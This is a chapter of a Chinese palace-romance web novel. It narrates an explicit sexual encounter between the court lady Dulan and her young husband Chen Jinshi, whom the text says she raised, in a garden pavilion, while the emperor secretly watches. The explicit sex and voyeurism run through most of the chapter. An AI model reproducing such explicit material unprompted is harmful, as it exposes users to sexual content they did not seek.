太和殿内觥筹交错,笑语喧阗。陈锦时总能读懂都兰的细微表情。 他已经足够在这样的场合里推杯换盏,应对得体。都兰却难免觉得这宴会冗长无趣。 二人视线短暂交织,又分别散去,做着自己应该做的事情。 但,二人分别半载,短暂相拥后又各自赴会,难免思念得有些焦灼。 她看起来依旧低眉温顺,恭谨沉静。 她借更衣之故,仪态端庄地朝太后行了一礼,步履从容,退出了喧闹的大殿。 微凉的空气瞬间驱散殿内沉闷,都兰循着记忆,快步穿过一条回廊,走向御花园一座较为偏僻、常用于存放园艺工具的琉璃亭。 月光如水,洒在寂静的小径上。 她走至亭内站定,一只滚烫的手便摸过来,身后传来温热,一条软烟罗从头上罩下来,他在她脑后一系,她顿时陷入黑暗,感官放得无限大。 “唔!”都兰低呼一声,后背抵上柱子。 陈锦时喝了不少酒,身上裹着浓烈酒气。 都兰有些嫌他,却也推不开他。 男人胸大肉厚,她沉沉地倒进去,只能感受到熟悉的灼热呼吸喷在额顶,随后是耳尖、脖颈。 以及那双在夜里亮得惊人的眸子,正死死盯着她。 压抑许久的狂风暴雨,都兰很是期待。 “阿姆……” 都兰托起他的头,眼尾也满是欲色的红:“嗯?” 声音在绝对的黑暗和寂静中,带着一丝自己都未察觉的依赖和微颤。 他没有回应她。 下一瞬,吻便落在她唇上。 细细感受,便能察觉软烟罗的布料并不厚实,隐约能透进些许月光,勾勒出他近在咫尺的模糊轮廓。 她大约看清了他闭着的眼,微蹙的眉。 滚烫的唇若即若离地贴着她的,他似乎刻意不愿一次给够。 夏衫轻薄,体温很容易传导给对方。所过之处,皆是一簇簇细小火苗。 她撇开他的头:“别这样,会留下痕迹。” 碧绿色的宫装一旦重新束好领口,她又是那个恭谨沉静的近侍女官。 陈锦时收起唇齿,表情顿时变得有些委屈可怜,可惜都兰并看不见。 “阿姆,你想我了吗?” “想的,”她声线冷静,但仍带着被亲吻后的软糯,“每时每刻。” 他低下头,想再次吻她的唇,却被她避开。 她推着他的肩膀坐下,跨坐在他的腿上。 她自己不愿脖颈处留痕,却想把他污染。 黑暗剥夺视觉,却让触觉和听觉变得异常敏锐。 她能清晰地感受他大腿肌肉瞬间地绷紧,听到他喉间溢出一声压抑的、近乎呜咽的抽气。 她忽然停住动作,抚摸着他的脸,俯视他,明明她才是看不见的那个,却像是把他全身上下扫视而过。 “时哥儿,阿姆许久没有夸过你了,对吗?” 她轻声唤他,如同蛊惑,气息交融时,他险些失态。 “让我看看你……你长得好乖。” 陈锦时浑身一颤,是,阿姆,你许久没有夸过我了。 她抚摸着他的喉结:“刚刚叫得真好听啊~” 她扶着他的肩,轻轻起伏,手精准地探入他绯色官袍地交领。 陈锦时喉间又是一声喘,下意识想抓住她作乱的手。 却被她更快地反手扣住手腕,压在身侧的柱子上。她的力道不大,带着毋庸置疑的掌控感。 “别动。”明明是命令,声音却因动情而显得妩媚,像在撒娇。 他果然不再挣扎,只是胸膛剧烈起伏,呼吸愈发沉重,像一头被驯服却又躁动不安的兽。 都兰的指腹在他锁骨下方流连,感受着皮肤下奔涌的热血和急促的心跳。 然后,她低下头,柔软的唇取代了指尖的位置,带着一种近乎研究的、缓慢的力度,印了上去。 不是吮吸,而是用牙齿细细地碾磨。 陈锦时猛地倒吸一口凉气,瞳孔扩散,被她唇齿间带来的,混合着细微刺痛与极致酥麻的触感逼得扬起了头。 脖颈拉出一条脆弱弧线,剧烈滚动的喉结彰显着他隐忍不发的力量,远没有表面看上去那样脆弱。 他想说什么,却只能发出破碎气音。 她能感觉到他肌肉收缩和震颤,感受到他扣住她腰肢的手臂收得更紧。 “阿姆……”他哀鸣般唤她。 一切都快要失控,所以他祈求她。 都兰恍若未闻。 她的唇依旧那样不紧不慢地逡巡,沿着他的锁骨,如同猛兽在享用大餐前,先耐心标记领地。 每一次细微的啃咬,都引得那人难以自抑。 她在用这种方式,确认他的存在,安抚自己空虚已久的身体。 碧绿色的宫装依旧整齐地穿在她身上,裙摆铺陈在他绯色的官袍上,色彩交织,端庄之下,是唯有彼此磨合之处才能感知的、惊心动魄的靡丽与潮湿。 月光如水,却照不进琉璃亭内那片被软烟罗笼罩着的,更加浓稠的黑暗。 玄澈本是心中烦闷,信步至此。 想他天下之主,九五至尊,践祚以来,夙兴夜寐,也称得上是千古少有的明君,而非昏君、暴君之流。 遵的是尧舜之道,循的是孔孟之训,行的是垂拱而治,求的是四海升平。 即便是对楼烦,初始亦是想宣之以德,柔之以礼,盼其慕化来归,共谱一段万国咸宁的佳话。 他向来以为,为君者,当如北辰,居其所而众星共之。应以德行与威仪令四方臣服,而非一味依仗雷霆斧钺。故他行事,多取中庸之道,避极端之法,总想着春风化雨,润物无声。即便心有偏执,亦被克己复礼的君子之道紧紧束缚,自认是发乎情,止乎礼义。 却唯独被她…… 他引以为傲的帝王心术,君子之风,在那人面前,竟显得如此……可笑。 不知怎的,一走便走至这等偏僻之地,也好,正好借着这偏僻之地的清冷压下满腹的燥郁与酒意。 然而,他刚绕过一丛茂密的忍冬,脚步便猛地钉在了原地。 琉璃亭的轮廓在月光下泛着微光,而亭内,比起那双人影,更快抵达他耳边的,是压抑难耐的喘息。 都兰坐在陈锦时腿上,眼睛仍被蒙着,她看不清他,也不知外界如何,她只知眼前男子是独属于她的,肌肉、血液、癫狂伫立着要献祭的躯体,也都是为她而生。 他看到那个永远脊梁挺直,永远眼神清冷的女人,此时正仰着头,唇瓣微张,似乎是在呜咽。 那声音像是被碾碎了的花瓣,带着泣音。就算是泣音,她仍旧在自主而动,在索取,无限地索取。 “锦时……我的时哥儿……”都兰的声音带着哭腔,脸庞呈现一种惊心动魄的、全然依赖又脆弱的美。 是玄澈从未见过的。 原来她会这样软媚的哀求,哀求一人,她的腰肢纤细,原来会这般迎合,柔软而坚定。 陈锦时咬着她颈侧的软肉,忽然抬眼,目光射向玄澈,咧起嘴无声地笑起来。 轻薄丝绸制成的宫装,原本规整而紧实地缠在人的轮廓上,玉带束出板正腰肢,曲裾缚住双腿,使它不大开大合,此时这一切都变形得惊心动魄。 与他任何一次被后妃侍寝的样子,都不同。 他听那人恨恨地开口,咬住她的耳朵:“阿姆,你这般模样,我恨不得……死在你身上……” 这样的情话,如同最锋利的匕首,将玄澈最后一张假面也彻底捅穿。 礼义廉耻、纲常伦理,此刻皆如齑粉,被那亭中靡靡之音、活色生香撞击得粉碎。 “非礼勿视,非礼勿听,非礼勿言,非礼勿动。”圣人之言犹在耳,然眼前景象,却如洪炉沸鼎,将他素日恪守的君子之道、帝王威仪,尽数投入其中,焚灼煎熬。 后宫嫔妃侍寝,无不屏气敛声,恪守宫规,何曾有过如此……如此放浪形骸、恣情纵性之态! 玄澈似乎不能接受,自己向来把“欲”包装为一种很体面的东西。 他眼睁睁看着都兰看似掌控身下人,却被身下人掌控,像一摊化冰的河水一般融化,看着她那双被蒙住的眼睛下方,脸颊泛起动情的潮红,看着她原本梳得一丝不苟的发髻,早已不管不顾地散乱,几缕褐色的卷发湿漉漉地贴在汗湿的额角和颈侧。 他们在月光照不到的暗影里,进行着一场疯狂的、不管不顾的献祭与占有。 她不知道自己的疯狂和无所畏惧、不管不顾,是否与眼睛被蒙住有关。 但她已经顾不上那么多了。 玄澈站在阴影里,浑身冰冷。他应该立刻转身离开,维持帝王最后的尊严。 但他的双脚如同被钉死在地上,目光如同被无形的锁链缚住,死死地盯着那激烈交缠的身影。 他看到陈锦时将她的一条腿抬起来,盘在自己腰上,裙裾都在腰上堆叠,从小腿到大腿,白皙得晃眼。 她的骨肉生得匀称而健硕,一切都是那样的美,那样的不堪入目。 此情此景,非是敦伦之礼,简直是……是郑卫之音,是桑间濮上之行! 玄澈直想怒斥,可偏偏,那女子唇间溢出的破碎呜咽,那男子喉头滚动的压抑低喘,交织在这寂静的夜里,竟生出一种惊心动魄的、原始而蓬勃的力量,像野火燎过荒原,烧得他精心构筑的礼法世界摇摇欲坠。 显得他曾以为的克制,虚伪到可笑,在这赤裸裸的、不加掩饰的欲望与真情面前,显得如此隔靴搔痒,如此……不痛不痒。 一种混合着嫉恨、羞耻、失落与自我怀疑的复杂情绪,如同毒涎般啮噬着他的五脏六腑。他嫉那青年能拥有她全部的热情与依赖;他羞于自己竟如窥墙邻子般立于暗处;他失落于自己永不可得的那份鲜活;他更怀疑自己引以为傲的治国平天下之理,是否在某些层面,本就是一场刻舟求剑的虚妄。 亭内,那被蒙住双眼的女子,仿佛卸下了所有世俗的枷锁,只遵从最本能的呼唤。而她给予那青年的,是他穷尽帝王之尊,也无法换取分毫的毫无保留。 二人都是溺水之人,他听到那些压抑到极致却又控制不住溢出的呻吟与喘息,将他这旁观者也牢牢困住,动弹不得。 他是这天下之主,此刻却像一个最卑贱的偷窥者,躲在暗处,眼睁睁看着自己求而不得的珍宝,在另一个男人怀中绽放出他永远无法触及的,最秾丽最鲜活的光彩。 那是一种彻头彻尾的,将他排斥在外的圆满。 一股腥甜涌上喉头,被他死死咽下。 最终,在即将抵达最癫狂的顶点,喘息声变得破碎而高亢,玄澈踉跄后退一步,背心抵上冰凉粗糙的假山石壁。 月光依旧无声洒落,照见他脸上再无半分酒意,只剩下一种被彻底洗礼过的、近乎虚无的平静。那是一种信念坍塌之后,万籁俱寂的荒凉。 亭内的动静瞬间一滞,玄澈心头一紧,几乎是落荒而逃,将自己更深地藏匿于假山之后,连呼吸都屏住了。 他见到都兰惊慌的低语:“有人……?”随后她摘下覆与眼上的软烟罗。 然后是陈锦时沉稳却依旧带着情潮未退的沙哑声音:“是风。别怕,阿姆,看着我……” 接着,玄澈又听到一些模糊的呜咽。那人已经将她重新拖入情欲里,她无心再打听,外面是否有一个人在偷看。 玄澈也不明白,自己为何连露面也不敢。 明明他是这个皇宫的主人,是这碗里江山的主宰。 他甚至可以立刻现身,处置那对悖逆礼法的男女,让他们在他面前无地自容。 也许是因为,他知道自己所想的画面绝不会出现。 都兰对“礼法”不屑一顾,陈锦时对“礼法”嗤之以鼻。 更有一种隐秘的冲动,他想看着他们,要如何忘情投入,登峰造极。 一种混合着卑劣、羞耻与病态渴求的情绪,在他心底返佣上来。 亭内那场活色生香并未因短暂的打断而终止,反而像是被注入了新的刺激,变得更加激烈,更加无所顾忌。 都兰被重新夺去了注意力,陈锦时对她很有占有欲。 或者,她已沉沦到无需遮蔽,心甘情愿地溺毙。 他看到她被他托着臀,那条盘在陈锦时腰间地腿绷出优美而有力的弧线,脚趾时而蜷缩。 碧色宫装早已被揉弄得不成样子,领口歪斜,露出一截莹润的肩头。 动静愈发高亢,都兰的声音带着哭腔,一遍一遍地唤着“时哥儿”,欢愉和崩溃就在一瞬之间。 陈锦时是一头不知餍足地年轻雄兽。 “礼崩乐坏……郑声乱雅……”玄澈在心底无声嘶吼。可他发现,那些曾经信奉的圣人之言,在此刻显得如此空洞无力。 他亲眼见证了一种超越礼法、甚至超越理智的生命合力,那种纯粹的、野蛮的、蓬勃的,像最炽热的岩浆,将他的世界烫出了巨大的窟窿。 他终于明白自己为何不敢露面。 最终,在那交织的喘息与呜咽攀至顶峰,化作一声漫长而颤抖的喟叹时,玄澈像是被抽干了所有力气,猛地闭上了眼睛。 他缓缓地、极其缓慢地转过身,不再去看那香艳的余韵,拖着如同灌了铅的双腿,一步一滞。 他来时所带地满腹燥郁与酒意早已消散,取而代之的是一种更深沉的、浸入骨髓的疲惫与虚无。 月光依旧清白如水,公正地洒在琉璃亭上。 那惊心动魄的唇色,深深刻在了他神魂深处,成为他这位“明君”此生都无法摆脱的梦魇。 当那阵如同濒死天鹅般的长吟终于从都兰喉中逸出,一切激烈的动静骤然平息,只剩下两人急促的喘息,交织在夜里。 如同暴雨初歇后,屋檐残留的、连绵的滴答声。 都兰浑身脱力,软软地伏在她的年轻丈夫怀中,她不喜欢这样不干爽的身体,挪动着臀,想要把衣裙整理妥当。 陈锦时将脸埋在她汗湿的颈窝,贪婪地呼吸着,空气中弥漫着情事过后特有的靡丽气息,混着她身上独特的草药淡香和羊奶气味。 她像一株被狂风骤雨洗礼过的藤蔓,紧紧依附大树。她微微眯着眼,长睫上还沾着情急之时溢出的泪珠,眼神涣散,带着餍足后的慵懒与一丝空茫。 过了许久,陈锦时才稍稍动了动,抬起头,用指腹极温柔地拭去她眼角和额角的汗和泪珠。 “阿姆……”他低声唤她,声音是纵情后的沙哑,带着无限的眷恋。 都兰没有立刻回应,只是抬起有些乏力的手,抚上他的鼻梁,指尖顺着挺直鼻梁滑下,落在他微微红肿的唇上,轻轻摩挲着。 “疯了……”后知后觉,带着一丝嗔怪,“若是被人瞧见……” “不会有人瞧见。”陈锦时打断她,语气笃定,“就算瞧见了又如何?阿姆,你还怕这个吗?” 都兰笑了笑,没有反驳,只是支起身子,想从他身上下来。 “我们该回去了。”都兰试图找回冷静,声音依旧带着时候的娇媚,“离席太久,恐惹人疑心。” 都兰被他抱下来,双腿一软,险些跌倒。 两人借着月光,有些狼狈地整理着衣物,抚平褶皱,束紧玉带,又将散乱的头发梳理整齐。 只是眉梢眼角的春情,衣领下的红痕,不是那么好掩住的。 将那份靡丽与潮湿勉强掩在宽袍大袖之下,一同踏着清冷月光,步履略显虚浮,朝着那片灯火通明的宫殿走去。 夜色掩去了所有痕迹,两人一前一后,相隔片刻,悄然回到太和殿。 都兰深吸一口气,将最后一丝属于琉璃亭的迷乱气息压入肺腑深处,脸上重新挂上那副娴静温婉的面具,仿佛刚才那个恣情纵性、软媚哀求的女子只是一道幻影。 宴席正酣,似乎无人留意他们短暂的离席。 都兰步伐从容,回到太后身侧,那身宫装重新变得一丝 不苟。 “太后娘娘,臣更衣回来了。” 太后正与身旁的太妃说着体己话,并未多留意她,只朝她轻微地点了点头。 都兰便又如之前一般,举止得体地侍立一旁,为太后布菜斟酒,做她身为女官该做的,也是楼烦王要想坐稳王位,王女该做的。 只是那碧色宫装的领口,似乎比离开时束得更紧了些,严严实实地遮住了所有。 唯有她自己知道,那被衣料摩擦而过的肌肤,还残留着被细细碾磨过的灼热酥麻。 陈锦时回到席位,面上潮红已尽数褪去,只是眼尾还残留一丝薄红,为他姿容似玉的脸庞平添了几分风流意气。 他端起酒杯,与同僚谈笑风生,怎一个意气疏狂。 他实在是很好的长大了,他的阿姆将他教导得很好,他学识渊博,进士及第;姿容姣好,神情亦佳。 犹如璞玉浑金,当初谁不说他是个混球,这辈子只怕也难堪大任,历经切磋琢磨,终成如今这样。 都兰立于太后身侧,眼角余光掠过底下那丰神俊朗的年轻臣子,心中百感交集,骄傲颇多。 他是她年轻的丈夫,也是她引以为傲的孩子。 她看着他周旋于臣众之间,应对如流,举止有度,是她一点一滴,亲手雕琢而成。 她微微垂下眼帘,他已是足以让她倚靠的参天大树,是她的时哥儿。 她是他的塑造者,他也完全听命于她。 只是方才的极致放纵里,她清晰地感受到了另一种力量的崛起。 他拥有了与她分庭抗礼,甚至在某些时刻主导彼此的能力。 这认知让她心底生出一份微妙的、混合着骄傲与失控感的战栗。 陈锦时隔着喧嚣人群,与她的视线短暂相接。孺慕与依恋之情中滋长出来的,是一种滚烫而直白的东西, 更是一种无声的宣告和隐秘的挑衅。 都兰的指尖微不可察地一颤,孩子试图将母亲牢牢掌控,她当然要夸他:“好样的。” (正文完)—— 作者有话说:番外只有男女主两人,不会有其他cp,主体是二人转,也就是上炕、滚草地、钻树林……反复来回魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m